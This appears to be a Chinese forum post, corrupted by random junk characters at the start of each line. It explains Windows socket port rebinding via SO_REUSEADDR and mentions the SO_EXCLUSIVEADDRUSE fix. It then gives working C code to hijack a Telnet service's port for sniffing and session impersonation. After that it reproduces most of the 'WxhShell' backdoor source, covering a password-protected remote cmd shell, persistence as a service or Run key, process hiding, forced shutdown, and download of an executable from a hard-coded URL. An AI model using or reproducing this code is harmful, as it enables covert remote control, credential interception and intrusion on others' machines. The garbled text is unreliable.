在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
]+U:8* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8+7n"6GY2/ NmH1*w<A saddr.sin_family = AF_INET;
rE&`G[(b T<jo@z1UL saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P#0U[`ltK Moldv
x=M bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
A`5/u"]*D (0wQ [( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?{)s dJe i 4}4U 这意味着什么?意味着可以进行如下的攻击:
WxLmzSz{xD RJYB=y8l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
P"Scs$NOU? bNH72gX2Yh 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
tom1u>1n gv6}GE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Zb \E!>V vU4Gw4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_v[yY3=3 ~o<+tL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{?!0<0 /k$H"'`j4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
'aN`z3T =\QKzQ'BC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Q5ZZ4`K! I[x+7Y0k9 #include
F6L}n-p5 #include
-T,/S^ #include
#Epx'$9 #include
5qe6/E@ DWORD WINAPI ClientThread(LPVOID lpParam);
!ek};~( int main()
*X_-8 ^~ {
-(Zi WORD wVersionRequested;
o+wG69 DWORD ret;
'\,|B
x8Q WSADATA wsaData;
9<" .1 BOOL val;
(t.OqgY SOCKADDR_IN saddr;
qe/|u3I<lF SOCKADDR_IN scaddr;
i[+cNJ|$B0 int err;
B#A
.-nb SOCKET s;
#"T< mM7 SOCKET sc;
9Kpzj43 int caddsize;
F0D7+-9[ HANDLE mt;
J{69iQ DWORD tid;
Yn~N;VUA wVersionRequested = MAKEWORD( 2, 2 );
8et*q3D7` err = WSAStartup( wVersionRequested, &wsaData );
brdfjE8 if ( err != 0 ) {
,GU|3 printf("error!WSAStartup failed!\n");
un&Z'
.
return -1;
~xp(k }
SU`RHAo saddr.sin_family = AF_INET;
$-=QT X (V06cb*42[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7\T~KYb? hx5oTJR saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Uo~-^w} saddr.sin_port = htons(23);
q
n6ws if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mY'c<>6t {
aFbIJm=! printf("error!socket failed!\n");
3IlflXb return -1;
rw|;?a0 }
h1A/:/_M6 val = TRUE;
pBb fU2p //SO_REUSEADDR选项就是可以实现端口重绑定的
$:4*?8K2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2#XYR>[ {
(C&Lpt_ printf("error!setsockopt failed!\n");
%XQ!>BeE return -1;
d3IMQ_k }
w nPg ). //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
liuw! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
yu~o9 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Dp8`O4YC O'WBO" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
J%
b`*?A {
#Bih=A
# ret=GetLastError();
{,9^k'9 printf("error!bind failed!\n");
$vR#<a,7> return -1;
y-1!@|l0:6 }
iPuX listen(s,2);
]zt77'J while(1)
K<g<xW* X {
Ofm?`SE*| caddsize = sizeof(scaddr);
IQm[,Fh //接受连接请求
Twi7g3}/jB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Vzmw%f)_+ if(sc!=INVALID_SOCKET)
7<Yf {
=.Hq]l6+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ld9YbL: if(mt==NULL)
$*k9e ^{S {
!Z}d^$ printf("Thread Creat Failed!\n");
CI}zu;4| break;
: g+5cs }
:|5\XV)> }
O^L#(8bC CloseHandle(mt);
w y\0o }
J?1U'/Wx2 closesocket(s);
"J_#6q* WSACleanup();
p!_3j^"{ return 0;
[2l2w[7Rid }
<aPbKDF~V DWORD WINAPI ClientThread(LPVOID lpParam)
nRSiW*;R {
WxrGoo^ SOCKET ss = (SOCKET)lpParam;
g2|qGfl{C SOCKET sc;
kgl7l?|O unsigned char buf[4096];
&|
guPZ SOCKADDR_IN saddr;
6 o!*bWh long num;
' ~F DWORD val;
K8?]&.! DWORD ret;
z5_#]:o& //如果是隐藏端口应用的话,可以在此处加一些判断
)[]*Y]vSx //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
-"9&YkN saddr.sin_family = AF_INET;
:MF F*1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vTk\6o q saddr.sin_port = htons(23);
2x<A7l)6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
937 z*mh {
Ht,dMt>: printf("error!socket failed!\n");
hh1 ?/ return -1;
F3Y/Miw }
>2)`/B9f4 val = 100;
-V_iv/fmM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s-[v[w'E {
p7{%0 ret = GetLastError();
;iq58. return -1;
v"I#.{LiH= }
|}07tUq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{}A1[Y| {
'Y;M% ret = GetLastError();
@,i_Gw) return -1;
U%? }
A{IJ](5.kd if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+bhR[V{0g {
mV'XH printf("error!socket connect failed!\n");
)b7 ;w#%q closesocket(sc);
^K]`ZQjKC closesocket(ss);
,'%wadOo return -1;
m,X8Cy|vQ }
KccI Yn~ while(1)
i
.GJO +K {
4Y/kf%]]A //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
AW')*{/(Ii //如果是嗅探内容的话,可以再此处进行内容分析和记录
Fo: 60)Lr //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;NJx9)7< num = recv(ss,buf,4096,0);
cmu| d if(num>0)
p\).zuEf. send(sc,buf,num,0);
`m_('N else if(num==0)
qPvWb1H: break;
2vLV1v$,q num = recv(sc,buf,4096,0);
d H ; if(num>0)
xRp;y* send(ss,buf,num,0);
"R5! VV else if(num==0)
>K@Y8J+e# break;
lB<
kf1[ }
;+3XDz
v closesocket(ss);
7+2DsZ^6MW closesocket(sc);
KM:k<pvi return 0 ;
v\}s(X(J }
>oHgs Q?xCb z^z,_?q; ==========================================================
0Uf.aP )xxpO$ 下边附上一个代码,,WXhSHELL
\ y}!yrQ B ?%g@d-; ==========================================================
O}Mu_edM Tfow_t}\ #include "stdafx.h"
Pz77\DpFi ~\]lMsk+ #include <stdio.h>
;RUod .x #include <string.h>
EU,f;H #include <windows.h>
r
Y#^C #include <winsock2.h>
0n)99Osq(u #include <winsvc.h>
R[vA%G #include <urlmon.h>
- xE%`X 7mBH#Q) #pragma comment (lib, "Ws2_32.lib")
??
2x* l1 #pragma comment (lib, "urlmon.lib")
E-v#G~ |]UR&* #define MAX_USER 100 // 最大客户端连接数
N/V~>UJ0{* #define BUF_SOCK 200 // sock buffer
sL",Ho #define KEY_BUFF 255 // 输入 buffer
1{Kv ODFCA.
t #define REBOOT 0 // 重启
WXmR{za #define SHUTDOWN 1 // 关机
d$}!x[g$Z {?YBJnG}x #define DEF_PORT 5000 // 监听端口
u_ *DS- 3X:)r< #define REG_LEN 16 // 注册表键长度
k,h
/B #define SVC_LEN 80 // NT服务名长度
jnzOTS QJ^'Uyfdn // 从dll定义API
my+2@ln typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
K*sav?c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ZFFKv typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
k"$E|$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
W&Xm_T[Q GC3WB4iY@U // wxhshell配置信息
<nk7vo?Ks struct WSCFG {
N% !TFQf int ws_port; // 监听端口
!eP)"YWI3 char ws_passstr[REG_LEN]; // 口令
NjH`
AMGBT int ws_autoins; // 安装标记, 1=yes 0=no
A9;!\Wo char ws_regname[REG_LEN]; // 注册表键名
r>,s-T!7 char ws_svcname[REG_LEN]; // 服务名
EN-;@P9;C char ws_svcdisp[SVC_LEN]; // 服务显示名
H/''lI{k) char ws_svcdesc[SVC_LEN]; // 服务描述信息
$VNj0i. Pr char ws_passmsg[SVC_LEN]; // 密码输入提示信息
yR$ld.[uf int ws_downexe; // 下载执行标记, 1=yes 0=no
jzb%?8ZJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6^VPRp char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L )53o! (kmrWx=
$ };
,ui=Wi1 _)XZ;Q // default Wxhshell configuration
! lxq,Whr{ struct WSCFG wscfg={DEF_PORT,
y}*J_7- "xuhuanlingzhe",
J>dIEW%u 1,
EGw;IFj) "Wxhshell",
cUj^aT pm "Wxhshell",
svRYdInBNu "WxhShell Service",
C-tkYP
"Wrsky Windows CmdShell Service",
YwU[kr-i "Please Input Your Password: ",
+[B@83 1,
(,I9| "
http://www.wrsky.com/wxhshell.exe",
p?V@P6h "Wxhshell.exe"
,JqCxb9 };
B6-1q&
E / SSn{,H8/j // 消息定义模块
qq'%9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8s9ZY4_ char *msg_ws_prompt="\n\r? for help\n\r#>";
'B9q&k%< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nw,XA0M3 char *msg_ws_ext="\n\rExit.";
q(\kCUy! char *msg_ws_end="\n\rQuit.";
mkuK$Mj char *msg_ws_boot="\n\rReboot...";
N!%[.3o\K char *msg_ws_poff="\n\rShutdown...";
l>*L
Am5 char *msg_ws_down="\n\rSave to ";
^Rh`XE =Q~@dP char *msg_ws_err="\n\rErr!";
0Z1';A3 char *msg_ws_ok="\n\rOK!";
Id^)WEK4 &HB!6T/ char ExeFile[MAX_PATH];
|
{Tq/ int nUser = 0;
lnQY_~s HANDLE handles[MAX_USER];
IBYSI0 int OsIsNt;
a98J_^ n TOw;P:- SERVICE_STATUS serviceStatus;
{wh, "Ok_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
GQ\;f jT*?Z:U // 函数声明
7-VP)|L#G int Install(void);
*X\J[$! int Uninstall(void);
0q o]nw int DownloadFile(char *sURL, SOCKET wsh);
3W3)%[ 5 int Boot(int flag);
k*K.ZS688 void HideProc(void);
uJSzz:\ int GetOsVer(void);
HlOn=>)< int Wxhshell(SOCKET wsl);
U(:Di]>{ void TalkWithClient(void *cs);
4`/Td?THx int CmdShell(SOCKET sock);
w&x$RP int StartFromService(void);
>Vph_98| int StartWxhshell(LPSTR lpCmdLine);
dZ|x `bIgs $&X-ay o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
qGdoRrp0Ov VOID WINAPI NTServiceHandler( DWORD fdwControl );
S+bpWA 8k )i-&R // 数据结构和表定义
+'9E4Lpx SERVICE_TABLE_ENTRY DispatchTable[] =
#+8G` {
i\dd {wscfg.ws_svcname, NTServiceMain},
#CRd@k? {NULL, NULL}
s<{) X$ };
m[qW)N:w x5R|,bY // 自我安装
_sK{qQxvM= int Install(void)
pEq }b+- {
2= zw! char svExeFile[MAX_PATH];
,t
+sw4 HKEY key;
gX]ewbPDQ strcpy(svExeFile,ExeFile);
Gz:ell$ Slv91c&md, // 如果是win9x系统,修改注册表设为自启动
c2wgJH!g if(!OsIsNt) {
`+!F#. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j:7AVnt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u;9a/RI RegCloseKey(key);
c@Xb6 z_> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5;X r0f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|ZG0E RegCloseKey(key);
[LM9^*sG2V return 0;
1#KBf[0 }
^&KpvQNW_ }
C."\ a_p }
;:
0<(!^* else {
k
[iT'] dy]ZS<Hz8G // 如果是NT以上系统,安装为系统服务
<72q^w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
(,D:6(R7t if (schSCManager!=0)
Xi0fX$-, {
HcM/ SC_HANDLE schService = CreateService
5'/ff= (
;)q"X>FMZe schSCManager,
-8yN6
0| wscfg.ws_svcname,
hv *XuT/ wscfg.ws_svcdisp,
r7FpR! SERVICE_ALL_ACCESS,
"R]wPF5u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'"T9y=9]s SERVICE_AUTO_START,
;_#<a*f SERVICE_ERROR_NORMAL,
Gn^m 541 svExeFile,
$"ACg!=M NULL,
;tC$O~X NULL,
JHa\"h NULL,
:,V&P_ NULL,
Jwpc8MQ NULL
%+oqAYm+s );
fR]KXfZ if (schService!=0)
KNjU!Z/4 {
A<+1:@0 CloseServiceHandle(schService);
!oYNJE Y7 CloseServiceHandle(schSCManager);
9XhcA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
3)y=}jw strcat(svExeFile,wscfg.ws_svcname);
06z+xxCo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
aSMoee@! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
hQeG#KQ RegCloseKey(key);
Ax*xa6_2 return 0;
mrBK{@n }
)Em`kle }
u.Tknw-X CloseServiceHandle(schSCManager);
s8dP=_ ` }
Z1_F)5pn }
Dt\rrN:v beB3*o return 1;
[\rzXE }
]3~u @6 Y
h53Z"a // 自我卸载
C;~LY&= int Uninstall(void)
tIS.,CEQF {
[I}z\3Z
% HKEY key;
ueEf>0 1024L; if(!OsIsNt) {
e*Y<m\* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^!z(IE' RegDeleteValue(key,wscfg.ws_regname);
MT6"b RegCloseKey(key);
-Jt36|O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z!3R RegDeleteValue(key,wscfg.ws_regname);
gwr?(:? RegCloseKey(key);
<[K3Prf C return 0;
@`ii3&W4 }
2R W~jn" }
^SK!?M }
*c
9S. else {
/vC!__K9: N`~f77G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
F\^\,hy if (schSCManager!=0)
+ViL" {
Eu<f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
- ,?LS w if (schService!=0)
$%4<q0- {
Cbpz Yv32 if(DeleteService(schService)!=0) {
Qq'e#nI@ CloseServiceHandle(schService);
GWLdz0`2_ CloseServiceHandle(schSCManager);
=~5N/! return 0;
tu(^D23 }
_l+C0lQl= CloseServiceHandle(schService);
?Qx4Z3n }
w OOu/Y CloseServiceHandle(schSCManager);
P-<1vfThH }
5~ZzQG }
qOIVuzi* ;NE4G;px4< return 1;
5A<}*T }
ydA@@C\& p{:y?0pGN // 从指定url下载文件
CM%;/[WBxy int DownloadFile(char *sURL, SOCKET wsh)
?J-\}X {
yL),G*[p\} HRESULT hr;
I9m9`4BK char seps[]= "/";
}9glr]= char *token;
jGT|Xo>t char *file;
hA;Ai:8 char myURL[MAX_PATH];
c,O;B_}M] char myFILE[MAX_PATH];
+TX4," pjl>ZoOM strcpy(myURL,sURL);
e7b MK<:r token=strtok(myURL,seps);
uUV"86B_ while(token!=NULL)
Xvoz4'Gme {
ooBBg@ file=token;
S^D7} token=strtok(NULL,seps);
*?$M=tH }
n`@dk_%yI &SNH1b#>E GetCurrentDirectory(MAX_PATH,myFILE);
sT "q] strcat(myFILE, "\\");
i+pQ 7wx strcat(myFILE, file);
c&,q`_t send(wsh,myFILE,strlen(myFILE),0);
oz]&=>$1I send(wsh,"...",3,0);
\
\Tz'>[\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
D[}^G5 if(hr==S_OK)
t&NpC;>v return 0;
RWX!d54& else
:H&G}T(# return 1;
a>rDJw: &W c$VDC }
I>##iiKN 7\[fjCg\w // 系统电源模块
3o0ZS^#eB int Boot(int flag)
xRdx`
YY u {
{jH'W)nR HANDLE hToken;
M<*WC{ TOKEN_PRIVILEGES tkp;
jVZ<i}h0B yimK"4!j5A if(OsIsNt) {
e /1x/v' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+95v=[t#Ut LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Yi)s=Q : tkp.PrivilegeCount = 1;
:YOo"3.] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%K.r rn M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
7!h>
< sx if(flag==REBOOT) {
IF-y/] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Jz3,vVfQ: return 0;
!s?SI=B8 }
FvYciU! else {
as('ZD.9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-|f0;Fl return 0;
/AyxkXq }
Y/"t! }
O|)b$H_ else {
z1
MT@G)S$ if(flag==REBOOT) {
XogCq?_m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
v;U5[ return 0;
rGXUV`5Na }
RjTGm=1w else {
<P'FqQ] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
, ,ng]&%i return 0;
eV/oY1B]< }
Dte5g),R }
HyOrAv
< UqyW8TCf? return 1;
awvP;F?q| }
@6UZC-M0 >T c\~l // win9x进程隐藏模块
s;=C&N5g void HideProc(void)
-u4")V> {
+4Pes R dwt4A+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^jUw4Dj~-q if ( hKernel != NULL )
PgGUs4[ {
-zn_d]NV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5V\",PAW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?w'86^_z FreeLibrary(hKernel);
xy4+
[u }
Hk@Gkx_ K1BBCe return;
ciiI{T[Z }
'21gUYm )wCNLi>4 // 获取操作系统版本
T_=WX_h $ int GetOsVer(void)
)7.DF|A {
&e;Qabwxva OSVERSIONINFO winfo;
c-}[v<o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
% @+j@i`& GetVersionEx(&winfo);
QIevps* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'L-DMNxBr return 1;
M@<9/xPS else
f,Dic%$q return 0;
,7c Rd }1Y }
.RJMtmp X-kOp9/. // 客户端句柄模块
+egwZ$5I int Wxhshell(SOCKET wsl)
n*A1x8tn {
_oCNrjt9 SOCKET wsh;
{\%I;2X struct sockaddr_in client;
XD|g G DWORD myID;
x: _[R{B |*UB/8C^/! while(nUser<MAX_USER)
u4w!SD {
z\A
),; int nSize=sizeof(client);
d[J_iD{ & wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^r(My} if(wsh==INVALID_SOCKET) return 1;
-fmJkI 7>BfHb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
w4Df?)Z if(handles[nUser]==0)
G$MEVfd" closesocket(wsh);
3Cc#{X-+ else
}aR}ZzK/v nUser++;
0.0-rd> }
A)>#n) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)%MC*Z:^
w:QO@ return 0;
i2c|_B }
nH k^trGm :op_J!; // 关闭 socket
],S {?!'1 void CloseIt(SOCKET wsh)
9jqsEd-SW {
*wj5( B<y closesocket(wsh);
16~E nUser--;
z]+L=+,, ExitThread(0);
S7Ty}?E@ }
Ec3tfcNhR ""a$[[ %WC // 客户端请求句柄
9Pe$}N void TalkWithClient(void *cs)
H(K
PU1lDw {
[K\b"^=< 2wIJ;rh SOCKET wsh=(SOCKET)cs;
]lBCK char pwd[SVC_LEN];
dp'[I:X char cmd[KEY_BUFF];
ceJi|`F char chr[1];
?X6}+ int i,j;
]4en|Aq n"6L\u while (nUser < MAX_USER) {
XDPgl=~ Wu/#}Bw# if(wscfg.ws_passstr) {
#IM.7`I if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,:A;4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S* O .
? //ZeroMemory(pwd,KEY_BUFF);
9tPRQM7 i=0;
!Vw1w1 while(i<SVC_LEN) {
ChG7>4:\ jd-]q2fQ| // 设置超时
-LszaMR} fd_set FdRead;
xi(\=LbhY struct timeval TimeOut;
o25rKC=o FD_ZERO(&FdRead);
Lm2)3;ei FD_SET(wsh,&FdRead);
UWvVYdy7 TimeOut.tv_sec=8;
]{\ttb%GX TimeOut.tv_usec=0;
[A!w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;ISnI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
T TN!$?G3 9"]#.A^Q* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ucx02^uA pwd
=chr[0]; }}QR'
if(chr[0]==0xd || chr[0]==0xa) { 3>@VPMi
pwd=0; l9&k!kF`
break; qrlC
U4
} 9DNp
i++; SI+Uq(k
} KRC"3Qt
oIj=ba(n1
// 如果是非法用户,关闭 socket 3^+D,)#D^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U*$xR<8v
} @i; )`k5b
?e<2'\5v
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }ARA K ^%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y]fI7nu&
gE#'Zv {7
while(1) { KZw~Ch}b9
ggx_h
ZeroMemory(cmd,KEY_BUFF); +wmG5!%$|
P8,Ps+
// 自动支持客户端 telnet标准 4>>=TJ!M
j=0; 2.Qz"YDh
=
while(j<KEY_BUFF) { ?zf3Fn2y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zR^Gy"
cmd[j]=chr[0]; gYc]z5`
if(chr[0]==0xa || chr[0]==0xd) { Oti*"dV\::
cmd[j]=0; wc4BSJa,19
break; ]2wxqglh)
} #Or;"}P>fB
j++; o6k#neB>=.
} $zjdCg<
aIV
/ c
// 下载文件 - |g"q|
if(strstr(cmd,"http://")) { '%QCNO/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); vyIH<@@p7
if(DownloadFile(cmd,wsh)) E>|X'I?r^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *(F`NJ 3
else Ww2@!ng
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SXm%X(JU
} RDp
else { (O5Yd 6u
*{DTxEy
switch(cmd[0]) { :lcq3iFn
^!&6=rb
// 帮助 eMJ>gXA]
case '?': { Zp9.
~&4o-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EJ9hgE
break; a4__1N^Qj
} U\Wo&giP[
// 安装 tbd=A]B-
case 'i': { tTLg;YjN
if(Install()) 05`"U#`:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lb-1z]YwQ
else l?U=s7s0?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +nDy b
break; [8i)/5D4
} V*uE83x1
// 卸载 |1~n<=`Z
case 'r': { l}))vf=i
if(Uninstall()) qUkMNo3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YB5"i9T2
else g"evnp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -)`_w^Ox
break; 5QMra5N k
} %L+q:naZe
// 显示 wxhshell 所在路径 L=4+rshl!_
case 'p': { `r`8N6NQ&]
char svExeFile[MAX_PATH]; :}lqu24K
strcpy(svExeFile,"\n\r"); X g6ezlW
strcat(svExeFile,ExeFile); FPDTw8" B;
send(wsh,svExeFile,strlen(svExeFile),0); CI'RuR3y]Z
break; iAwEnQ3h
} ^a4z*#IOr
// 重启 x;n3 Zr;(
case 'b': { F)LbH&Kn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5`QcPDp{z
if(Boot(REBOOT)) 9{toPED
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Yj{%
G
else { uZ!YGv0^
closesocket(wsh); YX0ysE*V:&
ExitThread(0); w7V\_^&Id
} 7Q}pKq]P
break; M3pE$KT0x
} u5(8k_7
// 关机 <xOX+D
case 'd': { -zR<m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +WH\,E
if(Boot(SHUTDOWN)) &]nx^C8V;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ky2 bj}"p9
else { FlBhCZ|^
closesocket(wsh); FE~D:)Xj'?
ExitThread(0); Z7;V}[wie
} _QPqF{iI
break; )>iOj50n3
} FZr/trP~
// 获取shell fjh|V9H
case 's': { C$OVN$lL`8
CmdShell(wsh); 2%W;#oi?
closesocket(wsh); H3A$YkK [
ExitThread(0); 2r,
c{Ah@D
break; 1qRquY
} qb>41j9_t
// 退出 *NmY]
case 'x': { $C4~v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I\~[GsDY
CloseIt(wsh); s^wm2/Yw
break; bn(N8MFCV
} [n2B6Px
// 离开 #S}orWj
case 'q': { VI0wul~M
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v ,8;:
sD
closesocket(wsh); <RGH+4LF
WSACleanup(); ~KBa-i%o
exit(1); kA:mB;:
break; v/+ <YU
} Re$h6sh
} G;Li!H
} Nd~B$venh
s2;~FK#/
// 提示信息 uoS:-v}/Y~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G{U#9
} IiU> VLa
} XB)D".\
$|N6I
return; {213/@,
} NAGM3{\5v$
|N.2iN:
// shell模块句柄 jm}CrqU
int CmdShell(SOCKET sock) QJ|@Y(KV0
{ Ipp_}tl_
STARTUPINFO si; R'>!1\?Iq
ZeroMemory(&si,sizeof(si)); ON :t"z5
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `Ij@;=(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^q:-ZgM>
PROCESS_INFORMATION ProcessInfo; b}[S+G-9W
char cmdline[]="cmd"; 3Z!%td5n
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !GcBNQ1p+7
return 0; _olQ;{ U:
} y>I2}P
l5[5Y6c>
// 自身启动模式 4Uy% wB
int StartFromService(void) =)a24PDG
{ #[+# bw_6
typedef struct ]I?.1X5d0
{ ARKM[]
DWORD ExitStatus; NXW*{b
DWORD PebBaseAddress; u,^CFws_
DWORD AffinityMask; l2D*b93
